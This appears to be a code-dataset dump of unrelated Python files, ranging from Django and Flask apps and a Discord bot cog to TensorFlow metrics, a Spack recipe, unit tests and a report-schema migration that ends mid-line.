id
stringlengths
1
8
text
stringlengths
6
1.05M
dataset_id
stringclasses
1 value
1775984
from django.db import models from datetime import datetime # Create your models here. class Pics(models.Model): name = models.CharField(max_length=200); addtime = models.DateTimeField(default=datetime.now) class Meta: db_table = "pics"
StarcoderdataPython
3501688
<reponame>exasol/error-reporting-python<gh_stars>0 from exasol_error_reporting_python.error_message_builder import \ ErrorMessageBuilder def test_message(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Test message")) assert message == "E-ERJ-TEST-1: Test message" def test_message_with_parameter(): message = str(ErrorMessageBuilder('E-ERJ-TEST-1') .message("Test message {{my_placeholder}} " "and a number {{number}}.") .parameter("my_placeholder", "my_value") .parameter("number", 1, "a number")) assert message == "E-ERJ-TEST-1: Test message 'my_value' and a number 1." def test_message_with_none_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("{{my_placeholder}}") .parameter("my_placeholder", None)) assert message == "E-ERJ-TEST-1: <null>" def test_message_without_parameter_name(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("test {{}}")) # TODO: different imp. assert message == "E-ERJ-TEST-1: test <null>" def test_message_without_parameter_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("test {{my_placeholder}}")) # TODO: different imp. assert message == "E-ERJ-TEST-1: test <null>" def test_message_with_group_reference_char(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("test {{my_placeholder}}") .parameter("my_placeholder", "$2")) assert message == "E-ERJ-TEST-1: test '$2'" def test_single_mitigation(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Fix it.")) assert message == "E-ERJ-TEST-1: Something went wrong. Fix it." def test_single_mitigation_with_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Delete line {{LINE_NR}}.") .parameter("LINE_NR", 1)) assert message == "E-ERJ-TEST-1: Something went wrong. Delete line 1." def test_mitigations(): support_hotline = "1234/56789" message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Fix it.") .mitigation("Contact support under {{SUPPORT_HOTLINE}}.") .parameter("SUPPORT_HOTLINE", support_hotline)) assert message == "E-ERJ-TEST-1: Something went wrong. Known mitigations:" \ "\n* Fix it.\n* Contact support under '1234/56789'." def test_ticket_mitigation(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .ticket_mitigation()) assert message == "E-ERJ-TEST-1: Something went wrong. " \ "This is an internal error that should not happen. " \ "Please report it by opening a GitHub issue." def test_mitigation_inline_single_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Delete line {{LINE_NR}}.", 1)) assert message == "E-ERJ-TEST-1: Something went wrong. Delete line 1." def test_mitigation_inline_multiple_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Delete lines {{LINE_NR1}}, {{LINE_NR2}}", 1, 2)) assert message == "E-ERJ-TEST-1: Something went wrong. Delete lines 1, 2" def test_mitigation_inline_parameter_without_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Delete line {{LINE_NR}}.")) # TODO: different imp. assert message == "E-ERJ-TEST-1: Something went wrong. Delete line <null>." def test_mitigation_inline_single_null_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Delete line {{LINE_NR}}.", None)) assert message == "E-ERJ-TEST-1: Something went wrong. Delete line <null>." def test_mitigation_inline_multiple_null_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Something went wrong.") .mitigation("Delete lines {{LINE1}}, {{LINE2}}.", None, None)) assert message == "E-ERJ-TEST-1: Something went wrong. " \ "Delete lines <null>, <null>." def test_message_inline_single_unquoted_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name|uq}}.", "value")) assert message == "E-ERJ-TEST-1: Message with value." def test_message_inline_single_quoted_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name}}.", "value")) assert message == "E-ERJ-TEST-1: Message with 'value'." def test_message_inline_multiple_unquoted_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name1|uq}} and " "{{parameter_name2|uq}}.", "value1", "value2")) assert message == "E-ERJ-TEST-1: Message with value1 and value2." def test_message_inline_multiple_quoted_parameter(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name1}} and " "{{parameter_name2}}.", "value1", "value2")) assert message == "E-ERJ-TEST-1: Message with 'value1' and 'value2'." def test_message_inline_unquoted_parameter_without_name(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{|uq}}.", "value")) assert message == "E-ERJ-TEST-1: Message with value." def test_message_inline_unquoted_parameter_without_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name|uq}}.")) assert message == "E-ERJ-TEST-1: Message with <null>." def test_message_inline_single_unquoted_parameter_none_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name|uq}}.", None)) assert message == "E-ERJ-TEST-1: Message with <null>." def test_message_inline_multiple_unquoted_parameter_none_value(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name|uq}} and " "{{parameter_name2}}.", None, None)) assert message == "E-ERJ-TEST-1: Message with <null> and <null>." def test_message_inline_multiple_unquoted_parameter_none_parameters(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name|uq}} and " "{{parameter_name2}}.") .parameter("parameter_name", None) .parameter("parameter_name2", None)) assert message == "E-ERJ-TEST-1: Message with <null> and <null>." def test_message_inline_unquoted_parameter_with_group_reference_char(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("test {{my_placeholder|uq}}") .parameter("my_placeholder", "$2")) assert message == "E-ERJ-TEST-1: test $2" def test_message_inline_and_outline_order(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name1}}", "value1") .message(" {{parameter_name2}}.", "value2")) assert message == "E-ERJ-TEST-1: Message with 'value1' 'value2'." def test_message_inline_and_outline_unquoted_parameters(): message = str(ErrorMessageBuilder("E-ERJ-TEST-1") .message("Message with {{parameter_name1|uq}}", "value1") .message(" {{parameter_name2|uq}}.", "value2")) assert message == "E-ERJ-TEST-1: Message with value1 value2."
StarcoderdataPython
3562743
import json from asyncio import Future, AbstractEventLoop from typing import Optional, Dict from bas_remote.errors import FunctionError from bas_remote.types import Response class BasRunner: _loop: AbstractEventLoop = None _future: Future = None _id: int = 0 def __init__(self, client): """Create an instance of Runner class. Args: client: Remote client object. """ self._loop = client.loop self._client = client def __await__(self): return self._future.__await__() def _run(self, name: str, params: Optional[Dict] = None): self._future = self._loop.create_future() task = self._run_function(name, params) self._loop.create_task(task) async def _run_function(self, name: str, params: Optional[Dict] = None): """Run the BAS function asynchronously. Args: name (str): BAS function name as string. params (dict, optional): BAS function arguments list. """ pass async def _run_task(self, name: str, params: Optional[Dict] = None): """Run the BAS task asynchronously. Args: name (str): BAS function name as string. params (dict, optional): BAS function arguments list. """ result = await self._client.send_async('run_task', { 'params': json.dumps(params if params else {}), 'function_name': name, 'thread_id': self.id }) response = Response.from_json(result) if not response.success: exception = FunctionError(response.message) self._future.set_exception(exception) else: self._future.set_result(response.result) @property def id(self) -> int: """Gets current thread id.""" return self._id __all__ = ['BasRunner']
StarcoderdataPython
1698929
<reponame>mczwier/zeta<filename>zeta/data/geom.py ''' Created on Oct 31, 2021 @author: mzwier ''' import numpy as np import zeta from .elements import element_label_to_number def normalize_atoms(atoms): return np.array([element_label_to_number(atom) for atom in atoms], dtype=zeta.data.atomicnumber_dtype) class Geometry: def __init__(self, atoms, coords=None): self.atoms = atoms # atomic numbers self.coords = coords # coordinates of atoms def __repr__(self): return '<Geometry at {:#x}, {:d} atoms, first_coords={}>'\ .format(id(self), len(self.atoms) if self.atoms is not None else 0, self.coords[0] if self.coords is not None else None) def has_same_atoms(self, geometry_or_atoms): myatoms = np.asarray(self.atoms) theiratoms = np.asarray(geometry_or_atoms) return (myatoms == theiratoms).all()
StarcoderdataPython
6601421
<reponame>lakepower/Ruby-Bot import asyncio import codecs from discord.ext import commands from cogs.utils import llparser, checks from cogs.utils import twitconn import linkutils, discordutils class Info: max_char = 2000 buffer = 5 code_block = '```' loop = None spoil = list() def __init__(self, bot): self.bot = bot @commands.group(name='lyrics', pass_context=True, invoke_without_command=True) async def lyrics(self, ctx, *, title:str): """ Retrieves lyrics of a Love Live! song. Defaults to romaji if no language is specified. :param title: Title of the song to retrieve lyrics for. Currently, the match must be exact with the title given on the wikia. """ if ctx.invoked_subcommand is None: await self.get_lyrics(title) @lyrics.command(name='romaji', pass_context=True) async def romaji(self, ctx, *, title:str): """ Retrieves lyrics of a Love Live! song in Romaji. :param title: Title of the song to retrieve lyrics for. Currently, the match must be exact with the title given on the wikia. """ await self.get_lyrics(title, llparser.lyrics_lang[0]) @lyrics.command(name='kanji', pass_context=True) async def kanji(self, ctx, *, title: str): """ Retrieves lyrics of a Love Live! song in Kanji. :param title: Title of the song to retrieve lyrics for. Currently, the match must be exact with the title given on the wikia. """ await self.get_lyrics(title, llparser.lyrics_lang[1]) @lyrics.command(name='english', pass_context=True) async def english(self, ctx, *, title: str): """ Retrieves lyrics of a Love Live! song in English. :param title: Title of the song to retrieve lyrics for. Currently, the match must be exact with the title given on the wikia. """ await self.get_lyrics(title, llparser.lyrics_lang[2]) @lyrics.command(name='update', hidden=True) @checks.is_owner() async def update(self): """ Updates lyrics crawling. """ llparser.wikia_crawl() await self.bot.say("Lyrics database updated!") async def get_lyrics(self, title:str, language:str=None): try: msgs = self.parse_lyrics(llparser.get_lyrics(title, language)) for msg in msgs: await self.bot.say(msg) except ValueError as e: await self.bot.say(e) def parse_lyrics(self, info): msgs = list() header = '' header += info[0] + ' ' header += '<' + info[1] + '>' if len(header) > 0: header = header.strip() + '\n' lyrics = info[2].split('\n\n') msg = '' for para in lyrics: if len(msg) + len(para) + len(header) < self.max_char - len(self.code_block) * 2 - self.buffer: msg += para + '\n\n' else: msgs.append('\n'.join((header, self.code(msg.strip()))).strip()) msg = para + '\n\n' header = '' if len(msg) > 0: msgs.append((header + '\n' + self.code(msg.strip())).strip()) return msgs def code(self, msg): return self.code_block + msg + self.code_block @commands.group(name='twit', pass_context=True, invoke_without_command=True) async def twit(self, ctx, *, id: str): """ Retrieves basic information about a twitter user. :param id: Username of the user to retrieve info from """ if ctx.invoked_subcommand is None: try: info = twitconn.get_user_info(id) await self.bot.say(info) except Exception as e: await self.bot.say(e) @twit.command() async def post(self, tweet:str): status = twitconn.parse_input(tweet) await self.bot.say(discordutils.encode_status(status)) @twit.command(hidden=True) async def archive(self, id, filename): """ Locally archives the last 200 tweets from a twitter user. :param id: Username of the user to archive tweets from :param filename: Filename to save archive to """ twitconn.archive(id, filename) @commands.command(name='pics', pass_context=True) async def pics(self, ctx, *, link:str): """ Retrieves images from a specified link. Currecnt supports instagram, ameblo, and lineblog. :param link: Link to retrieve images from. """ try: #info = twitconn.get_data_from_link(link) pics = linkutils.get_link(link) text = '' for pic in pics: text += pics + '"' await self.bot.say(text) except Exception as e: await self.bot.say(e) @commands.group(hidden=True) async def sif(self): pass @sif.command() async def card(self, num: int): pass @sif.command() async def song(self, *, title: str): result = llparser.get_song(title.strip()) await self.bot.say(llparser.encode_song(result)) @sif.group() async def event(self): pass @event.command(name='jp') async def event_jp(self, *, title: str): event = llparser.get_event(title.strip()) await self.bot.say(llparser.encode_event_jp(event)) @event.command(name='en') async def event_en(self, *, title: str): event = llparser.get_event(title.strip()) await self.bot.say(llparser.encode_event_en(event)) @sif.group() async def current(self): pass @current.command(name='jp') async def current_jp(self): event = llparser.current_event_jp() await self.bot.say(llparser.encode_current_jp(event)) @current.command(name='en') async def current_en(self): event = llparser.current_event_en() await self.bot.say(llparser.encode_current_en(event)) @commands.group(name='llss') async def llss(self): """ LL! SS!! commands """ msg = llparser.get_next_ep() await self.bot.say(msg) @llss.command(pass_context=True) async def spoil(self, ctx): pass @commands.command(name='archive', hidden=True) async def archive(self, *, hashtag): await self.bot.say('Archiving...') print('archiving') twitconn.save_hashtag('#' + hashtag) await self.bot.say('Done!') print('done') @commands.command(pass_context=True) async def shill(self, ctx, link: str): await self.bot.delete_message(ctx.message) await self.bot.say(linkutils.shill(link)) def setup(bot): bot.add_cog(Info(bot))
StarcoderdataPython
154987
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Gives estimates of computation and parameter sizes for a GraphDef. This script takes a GraphDef representing a network, and produces rough estimates of the number of floating-point operations needed to implement it and how many parameters are stored. You need to pass in the input size, and the results are only approximate, since it only calculates them for a subset of common operations. If you have downloaded the Inception graph for the label_image example, an example of using this script would be: bazel-bin/third_party/tensorflow/python/tools/graph_metrics \ --graph tensorflow_inception_graph.pb \ --statistics=weight_parameters,flops """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import locale import tensorflow as tf from google.protobuf import text_format from tensorflow.core.framework import graph_pb2 from tensorflow.python.framework import ops FLAGS = tf.flags.FLAGS tf.flags.DEFINE_string("graph", "", """TensorFlow 'GraphDef' file to load.""") tf.flags.DEFINE_bool("input_binary", True, """Whether the input files are in binary format.""") tf.flags.DEFINE_string("input_layer", "Mul:0", """The name of the input node.""") tf.flags.DEFINE_integer("batch_size", 1, """The batch size to use for the calculations.""") tf.flags.DEFINE_string("statistics", "weight_parameters,flops", """Which statistic types to examine.""") tf.flags.DEFINE_string("input_shape_override", "", """If this is set, the comma-separated values will be""" """ used to set the shape of the input layer.""") tf.flags.DEFINE_boolean("print_nodes", False, """Whether to show statistics for each op.""") def print_stat(prefix, statistic_type, value): if value is None: friendly_value = "None" else: friendly_value = locale.format("%d", value, grouping=True) print("%s%s=%s" % (prefix, statistic_type, friendly_value)) def main(unused_args): if not tf.gfile.Exists(FLAGS.graph): print("Input graph file '" + FLAGS.graph + "' does not exist!") return -1 graph_def = graph_pb2.GraphDef() with open(FLAGS.graph, "rb") as f: if FLAGS.input_binary: graph_def.ParseFromString(f.read()) else: text_format.Merge(f.read(), graph_def) statistic_types = FLAGS.statistics.split(",") if FLAGS.input_shape_override: input_shape_override = map(int, FLAGS.input_shape_override.split(",")) else: input_shape_override = None total_stats, node_stats = calculate_graph_metrics( graph_def, statistic_types, FLAGS.input_layer, input_shape_override, FLAGS.batch_size) if FLAGS.print_nodes: for node in graph_def.node: for statistic_type in statistic_types: current_stats = node_stats[statistic_type][node.name] print_stat(node.name + "(" + node.op + "): ", statistic_type, current_stats.value) for statistic_type in statistic_types: value = total_stats[statistic_type].value print_stat("Total: ", statistic_type, value) def calculate_graph_metrics(graph_def, statistic_types, input_layer, input_shape_override, batch_size): """Looks at the performance statistics of all nodes in the graph.""" _ = tf.import_graph_def(graph_def, name="") total_stats = {} node_stats = {} for statistic_type in statistic_types: total_stats[statistic_type] = ops.OpStats(statistic_type) node_stats[statistic_type] = {} # Make sure we get pretty-printed numbers with separators. locale.setlocale(locale.LC_ALL, "") with tf.Session() as sess: input_tensor = sess.graph.get_tensor_by_name(input_layer) input_shape_tensor = input_tensor.get_shape() if input_shape_tensor: input_shape = input_shape_tensor.as_list() else: input_shape = None if input_shape_override: input_shape = input_shape_override if input_shape is None: raise ValueError("""No input shape was provided on the command line,""" """ and the input op itself had no default shape, so""" """ shape inference couldn't be performed. This is""" """ required for metrics calculations.""") input_shape[0] = batch_size input_tensor.set_shape(input_shape) for node in graph_def.node: # Ensure that the updated input shape has been fully-propagated before we # ask for the statistics, since they may depend on the output size. op = sess.graph.get_operation_by_name(node.name) ops.set_shapes_for_outputs(op) for statistic_type in statistic_types: current_stats = ops.get_stats_for_node_def(sess.graph, node, statistic_type) node_stats[statistic_type][node.name] = current_stats total_stats[statistic_type] += current_stats return total_stats, node_stats if __name__ == "__main__": tf.app.run()
StarcoderdataPython
1744968
# Copyright 2013-2018 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class RShiny(RPackage): """Makes it incredibly easy to build interactive web applications with R. Automatic "reactive" binding between inputs and outputs and extensive pre-built widgets make it possible to build beautiful, responsive, and powerful applications with minimal effort.""" homepage = "http://shiny.rstudio.com/" url = "https://cran.rstudio.com/src/contrib/shiny_1.0.5.tar.gz" list_url = "https://cran.r-project.org/src/contrib/Archive/shiny" version('1.0.5', '419dd5d3ea0bd87a07f8f0b1ef14fc13') version('0.13.2', 'cb5bff7a28ad59ec2883cd0912ca9611') depends_on('r-httpuv', type=('build', 'run')) depends_on('r-mime', type=('build', 'run')) depends_on('r-jsonlite', type=('build', 'run')) depends_on('r-xtable', type=('build', 'run')) depends_on('r-digest', type=('build', 'run')) depends_on('r-htmltools', type=('build', 'run')) depends_on('r-r6', type=('build', 'run')) depends_on('r-sourcetools', type=('build', 'run'))
StarcoderdataPython
6441860
"""The code template to supply to the front end. This is what the user will be asked to complete and submit for grading. Do not include any imports. This is not a REPL environment so include explicit 'print' statements for any outputs you want to be displayed back to the user. Use triple single quotes to enclose the formatted code block. """ challenge_code = '''dev = qml.device("default.qubit", wires=1) @qml.qnode(dev) def mag_z_0_v2(B, time): """Simulates an electron (initial state |0>) in a magnetic field, using a Z rotation. Args: B (float): The strength of the field, assumed to point in the z direction. time (float): The time we evolve the electron state for. Returns: array[complex]: The state of the system after evolution. """ e = 1.6e-19 m_e = 9.1e-31 alpha = B*e/(2*m_e) ################## # YOUR CODE HERE # ################## return qml.state() B, t = 0.1, 0.6 if np.allclose(mag_z_0_v1(B, t), mag_z_0_v2(B, t)): print("The two circuits give the same answer!") '''
StarcoderdataPython
4844404
<filename>train_ifo.py import warnings import ifo_model warnings.filterwarnings('ignore', category=DeprecationWarning) import random from pathlib import Path import hydra import numpy as np import torch import torch.utils.data from dm_env import specs from hydra.utils import to_absolute_path import context_changers import ct_model import dmc import drqv2 import rl_model import utils from logger import Logger from replay_buffer import ReplayBufferStorage, make_replay_loader from video import TrainVideoRecorder, VideoRecorder def _worker_init_fn(worker_id): seed = np.random.get_state()[1][0] + worker_id np.random.seed(seed) random.seed(seed) def _make_agent(obs_spec, action_spec, cfg): cfg.obs_shape = obs_spec.shape cfg.action_shape = action_spec.shape return hydra.utils.instantiate(cfg) class Workspace: def __init__(self, cfg): self.work_dir = Path.cwd() print(f'workspace: {self.work_dir}') self.cfg = cfg utils.set_seed_everywhere(cfg.seed) self.expert: drqv2.DrQV2Agent = drqv2.DrQV2Agent.load(to_absolute_path(self.cfg.expert_file)) self.expert.train(training=False) self.context_translator: ct_model.CTNet = ct_model.CTNet.load(to_absolute_path(self.cfg.ct_file)).to(utils.device()) self.context_translator.eval() self.setup() self.cfg.agent.action_shape = self.train_env.action_spec().shape self.cfg.agent.obs_shape = self.train_env.observation_spec().shape self.rl_agent: ifo_model.Agent = hydra.utils.instantiate(self.cfg.agent).to(utils.device()) self.timer = utils.Timer() self._global_step = 0 self._global_episode = 0 def setup(self): # create logger self.logger = Logger(self.work_dir, use_tb=self.cfg.use_tb) # create envs self.expert_env = dmc.make(self.cfg.task_name, self.cfg.expert_frame_stack, self.cfg.action_repeat, self.cfg.seed, self.cfg.get('xml_path', None), episode_len=self.cfg.episode_len) self.train_env = dmc.make(self.cfg.task_name, self.cfg.frame_stack, self.cfg.action_repeat, self.cfg.seed, self.cfg.get('xml_path', None), self.cfg.learner_camera_id, self.cfg.im_w, self.cfg.im_h, hydra.utils.instantiate(self.cfg.context_changer), episode_len=self.cfg.episode_len) self.train_env = dmc.CTStackWrapper(self.train_env, self.expert, self.context_translator, self.expert_env, self.cfg.context_camera_ids, self.cfg.n_video, self.cfg.im_w, self.cfg.im_h, self.cfg.frame_stack, hydra.utils.instantiate(self.cfg.context_changer), dist_reward=True) self.eval_env = dmc.make(self.cfg.task_name, self.cfg.frame_stack, self.cfg.action_repeat, self.cfg.seed, self.cfg.get('xml_path', None), self.cfg.learner_camera_id, self.cfg.im_w, self.cfg.im_h, hydra.utils.instantiate(self.cfg.context_changer), episode_len=self.cfg.episode_len) self.eval_env = dmc.CTStackWrapper(self.eval_env, self.expert, self.context_translator, self.expert_env, self.cfg.context_camera_ids, self.cfg.n_video, self.cfg.im_w, self.cfg.im_h, self.cfg.frame_stack, hydra.utils.instantiate(self.cfg.context_changer), dist_reward=False) # create replay buffer data_specs = ( self.train_env.observation_spec(), self.train_env.action_spec(), specs.Array((1,), np.float32, 'reward'), specs.Array((1,), np.float32, 'discount') ) self.replay_storage = ReplayBufferStorage(data_specs, self.work_dir / 'buffer') self.replay_loader = make_replay_loader( self.work_dir / 'buffer', self.cfg.replay_buffer_size, self.cfg.batch_size, self.cfg.replay_buffer_num_workers, self.cfg.save_snapshot, self.cfg.nstep, self.cfg.discount, fetch_every=self.cfg.episode_len) self._replay_iter = None self.video_recorder = VideoRecorder( self.work_dir if self.cfg.save_video else None) self.train_video_recorder = TrainVideoRecorder( self.work_dir if self.cfg.save_train_video else None) @property def global_step(self): return self._global_step @property def global_episode(self): return self._global_episode @property def global_frame(self): return self.global_step * self.cfg.action_repeat @property def replay_iter(self): if self._replay_iter is None: self._replay_iter = iter(self.replay_loader) return self._replay_iter def eval(self): step, episode, total_reward = 0, 0, 0 eval_until_episode = utils.Until(self.cfg.num_eval_episodes) while eval_until_episode(episode): time_step = self.eval_env.reset() episode_reward = 0. self.video_recorder.init(self.eval_env) while not time_step.last(): with torch.no_grad(), utils.eval_mode(self.rl_agent): state = torch.tensor(time_step.observation, device=utils.device(), dtype=torch.float) action = self.rl_agent.act(state, self.global_step, eval_mode=True) time_step = self.eval_env.step(action) self.video_recorder.record(self.eval_env) episode_reward += time_step.reward step += 1 episode += 1 total_reward += episode_reward self.video_recorder.save(f'{self.global_frame}_{episode}_{episode_reward}.mp4') with self.logger.log_and_dump_ctx(self.global_frame, ty='eval') as log: log('episode_reward', total_reward / episode) log('episode_length', step * self.cfg.action_repeat / episode) log('episode', self.global_episode) log('step', self.global_step) def train(self): # predicates train_until_step = utils.Until(self.cfg.num_train_frames, self.cfg.action_repeat) seed_until_step = utils.Until(self.cfg.num_seed_frames, self.cfg.action_repeat) eval_every_step = utils.Every(self.cfg.eval_every_frames, self.cfg.action_repeat) episode_step, episode_reward = 0, 0 time_step = self.train_env.reset() self.replay_storage.add(time_step) frame = self.train_env.physics.render(self.cfg.im_w, self.cfg.im_h, camera_id=self.cfg.learner_camera_id).transpose((2, 0, 1)) self.train_video_recorder.init(frame) metrics = None while train_until_step(self.global_step): if time_step.last(): self._global_episode += 1 self.train_video_recorder.save(f'{self.global_frame}.mp4') # wait until all the metrics schema is populated if metrics is not None: # log stats elapsed_time, total_time = self.timer.reset() episode_frame = episode_step * self.cfg.action_repeat with self.logger.log_and_dump_ctx(self.global_frame, ty='train') as log: log('fps', episode_frame / elapsed_time) log('total_time', total_time) log('episode_reward', episode_reward) log('episode_length', episode_frame) log('episode', self.global_episode) log('buffer_size', len(self.replay_storage)) log('step', self.global_step) # try to evaluate if eval_every_step(self.global_step): self.logger.log('eval_total_time', self.timer.total_time(), self.global_frame) self.eval() # reset env time_step = self.train_env.reset() frame = self.train_env.physics.render(self.cfg.im_w, self.cfg.im_h, camera_id=self.cfg.learner_camera_id).transpose((2, 0, 1)) self.replay_storage.add(time_step) self.train_video_recorder.init(frame) # try to save snapshot if self.cfg.save_snapshot: self.save_snapshot() episode_step = 0 episode_reward = 0 # sample action with torch.no_grad(), utils.eval_mode(self.rl_agent): state = torch.tensor(time_step.observation, device=utils.device(), dtype=torch.float) action = self.rl_agent.act(state, self.global_step, eval_mode=False) # try to update the agent if not seed_until_step(self.global_step): metrics = self.rl_agent.update(self.replay_iter, self.global_step) self.logger.log_metrics(metrics, self.global_frame, ty='train') # take env step time_step = self.train_env.step(action) frame = self.train_env.physics.render(self.cfg.im_w, self.cfg.im_h, camera_id=self.cfg.learner_camera_id).transpose((2, 0, 1)) self.replay_storage.add(time_step) self.train_video_recorder.record(frame) episode_reward += time_step.reward episode_step += 1 self._global_step += 1 def save_snapshot(self): snapshot = self.work_dir / 'snapshot.pt' keys_to_save = ['rl_agent', 'timer', '_global_step', '_global_episode'] payload = {k: self.__dict__[k] for k in keys_to_save} with snapshot.open('wb') as f: torch.save(payload, f) def load_snapshot(self): snapshot = self.work_dir / 'snapshot.pt' with snapshot.open('rb') as f: payload = torch.load(f) for k, v in payload.items(): self.__dict__[k] = v @hydra.main(config_path='ifo_cfgs', config_name='config') def main(cfg): root_dir = Path.cwd() workspace = Workspace(cfg) snapshot = root_dir / 'snapshot.pt' if snapshot.exists(): print(f'resuming: {snapshot}') workspace.load_snapshot() workspace.train() if __name__ == '__main__': main()
StarcoderdataPython
12861498
<gh_stars>1-10 """In this code we wanna plot real-time data.""" # import random from itertools import count import pandas as pd import matplotlib.pyplot as plt from matplotlib.animation import FuncAnimation plt.style.use('fivethirtyeight') x_vals = [] y_vals = [] index = count() def animate(i): """Plot the graphs with real-time data.""" data = pd.read_csv('data/data_6.csv') x = data['x_value'] y1 = data['total_1'] y2 = data['total_2'] plt.cla() plt.plot(x, y1, label='Channel 1') plt.plot(x, y2, label='Channel 2') plt.legend(loc='upper left', bbox_to_anchor=(1.05, 1)) plt.tight_layout() ani = FuncAnimation(plt.gcf(), animate, interval=1000) plt.tight_layout() plt.show()
StarcoderdataPython
6450919
#!/usr/bin/env python import fileinput import re import numpy as np number = re.compile(r"\d+") lights1 = np.zeros((1000, 1000), np.bool_) lights2 = np.zeros((1000, 1000), np.longlong) for instr in fileinput.input(): tlx, tly, brx, bry = map(int, number.findall(instr)) brx += 1 bry += 1 if "turn on" in instr: lights1[tlx:brx, tly:bry] = True lights2[tlx:brx, tly:bry] += 1 elif "turn off" in instr: lights1[tlx:brx, tly:bry] = False lights2[tlx:brx, tly:bry] -= 1 lights2[lights2 < 0] = 0 else: lights1[tlx:brx, tly:bry] = np.bitwise_not(lights1[tlx:brx, tly:bry]) lights2[tlx:brx, tly:bry] += 2 assert lights1.sum() == 569999 assert lights2.sum() == 17836115
StarcoderdataPython
3586801
<filename>app/__init__.py # -*- coding: utf-8 -*- from eve import Eve from flask_socketio import SocketIO from flask_cors import CORS from flask_mail import Mail from flask_security import Security, MongoEngineUserDatastore from models import db, User from settings import SETTINGS io = SocketIO() user_datastore = MongoEngineUserDatastore(db, User, None) def create_app(): """Create an application""" app = Eve(settings=SETTINGS) # MongoDB setup app.config['MONGO2_DBNAME'] = SETTINGS['MONGO_DBNAME'] # TODO Needed? app.config['MONGODB_DB'] = SETTINGS['MONGO_DBNAME'] app.config['SECRET_KEY'] = 'secret!' # TODO Mail setup app.config['MAIL_SERVER'] = 'smtp.example.com' app.config['MAIL_PORT'] = 465 app.config['MAIL_USE_SSL'] = True app.config['MAIL_USERNAME'] = 'username' app.config['MAIL_PASSWORD'] = 'password' mail = Mail(app) CORS(app) from app.views import views_blueprint from app.websockets import websockets_blueprint from app.websockets.events import post_tasks_insert_callback, pre_tasks_insert_callback # Setup Flask-Security security = Security(app, user_datastore) app.register_blueprint(websockets_blueprint) app.register_blueprint(views_blueprint) db.init_app(app) io.init_app(app) # Eve event hooks app.on_insert_task += pre_tasks_insert_callback app.on_inserted_task += post_tasks_insert_callback return app
StarcoderdataPython
1837930
<filename>题源分类/剑指offer/python/剑指 Offer 15. 二进制中1的个数.py # 剑指 Offer 15. 二进制中1的个数 # 请实现一个函数,输入一个整数(以二进制串形式),输出该数二进制表示中 1 的个数。例如,把 9 表示成二进制是 1001,有 2 位是 1。因此,如果输入 9,则该函数输出 2。 # 示例 1: # 输入:00000000000000000000000000001011 # 输出:3 # 解释:输入的二进制串 00000000000000000000000000001011 中,共有三位为 '1'。 # 示例 2: # 输入:00000000000000000000000010000000 # 输出:1 # 解释:输入的二进制串 00000000000000000000000010000000 中,共有一位为 '1'。 # 示例 3: # 输入:11111111111111111111111111111101 # 输出:31 # 解释:输入的二进制串 11111111111111111111111111111101 中,共有 31 位为 '1'。 # 提示: # 输入必须是长度为 32 的 二进制串 。 ## solution 1 def hammingWeight(n): count = 0 while n: count += 1 n >>= 1 return count if __name__ == "__main__": print(hammingWeight(3)) print(bin(3).count('1'))
StarcoderdataPython
11249373
<filename>protocols/migration/migration_reports_611_to_reports_620.py from protocols import reports_6_1_1, reports_6_2_0 from protocols.reports_6_2_0 import UserComment from protocols.migration import BaseMigration class MigrateReports611To620(BaseMigration): old_model = reports_6_1_1 new_model = reports_6_2_0 def migrate_variant_interpretation_log(self, old_instance): """ Migrates a reports_6_1_1.VariantInterpretationLog into a reports_6_2_0.VariantInterpretationLog :type old_instance: reports_6_1_1.VariantInterpretationLog :rtype: reports_6_2_0.VariantInterpretationLog """ new_instance = self.convert_class(target_klass=self.new_model.VariantInterpretationLog, instance=old_instance) if new_instance.variantClassification.acmgVariantClassification: for acmg_evidence in new_instance.variantClassification.acmgVariantClassification.acmgEvidences: if acmg_evidence.type == "bening": acmg_evidence.type = "benign" # activation strength is now a required field. Previously it was optional, only to be used if different from weight # If activationStrength not populated, set it to the same as weight if not acmg_evidence.activationStrength: acmg_evidence.activationStrength 